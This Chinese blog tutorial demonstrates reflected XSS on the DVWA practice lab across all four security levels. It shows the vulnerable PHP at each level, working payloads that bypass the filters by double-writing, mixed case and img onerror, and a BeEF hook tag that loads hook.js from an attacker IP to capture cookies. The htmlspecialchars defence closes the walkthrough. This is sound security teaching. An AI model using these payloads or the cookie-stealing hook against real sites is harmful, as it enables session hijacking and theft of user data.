dvwa_反射型XSS全等级演示
Xss原理及技术分类
xss的原理:输出问题导致的js代码被执行
Xss技术分类:
1.反射型(非持续型)
2.存储型跨站(持续型)
3.Dom型
本文就验证反射型xss攻击,使用dvwa进行渗透实验。存储型和Dom型会马上补上
dvwa_low级别
Dvwa靶场low级别为例:
首先第一步: 查看源代码(View Source)
。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
这段代码的意思就是界面是输入一个内容,点击提交。Get方式提交。当输入不为空之后就输出,首先输出的是Hello,紧接着就是我们输入的内容。
输入语句:
<script>alert(/xss/)</script>
界面弹窗出现/xss/,说明我们的测试成功,我们查看一下真正的源代码(鼠标右键选中查看页面源代码即可)
从源代码中我们可以看到,前面是输出的第一部分Hello,我们输入的脚本被成功解析执行,所以出现了弹窗,我们尝试一下cookie的获取
cookie的获取
xss测试工具之beef
这个时候我们可以用到xss测试工具,神牛beef
如果你的kali里面没有beef,可以参考我的另一篇博客,这是kali的beef安装教程
https://blog.csdn.net/weixin_43847838/article/details/110312851.
我们找到beef给我们提供的语句
<script src="http://<IP>:3000/hook.js"></script>
注:这里的< IP >是我们本地的ip
<script src="http://192.168.43.131:3000/hook.js"></script>
将这段语句放在含有漏洞的地方,点submit执行
执行完后返回beef,可以看到成功捕捉到了
在这里就可以看到当前用户的cookie
Beef的功能还有很多,这里不做一一演示。
document.cooke
如果只是单纯想得到cookie的话,可以输入以下语句
<script>alert(document.cookie)</script>
dvwa_Medium级别
先查看源代码View Source
。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,获取用户输入的语句没有改变,下一句,出现了一个新的函数str_replace(),这个函数的功能可以简单的理解为替换
str_replace( '<script>', '', $_GET[ 'name' ] )
这句代码的意思是,对<script>
字符进行了替换,替换为NULL。对于这个情况,有多种方法可以进行绕过。
双写绕过
双写绕过
:
<sc<script>ript>alert(2345)</script>
大小写混淆方式绕过
大小写混淆方式绕过
:
<SCript>alert(676767)</script>
成功绕过。
dvwa_High级别
先查看源代码view Source
Reflected XSS Source
vulnerabilities/xss_r/source/high.php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
从中可以看出,high级别将替换语句换成了这个
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
/i
是大小写通用,只要出现script的都会被替换掉
所以我们要使用别的语句来替换含script的脚本
图片插入语句法
图片插入语句法
<img src =1 onerror = alert(999)>
这里会有一个我们插入的错误图片
右键查看页面源代码
dvwa_impossible分析
最后我们看一下最高的impossible级别,字面意思就是‘不可能(最安全)’级别。
查看源代码View Source
:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看出多了user_token和session_token,这是防csrf的,因为经常是xss+csrf结合攻击,然后他对我们输入的内容用htmlspecialchars() 函数进行处理
htmlspecialchars()函数
htmlspecialchars函数的功能:
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
完美的对我们输入的内容进行过滤。
本站所有文章均为原创,欢迎转载,请注明文章出处https://blog.csdn.net/weixin_43847838/article/details/110358618.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。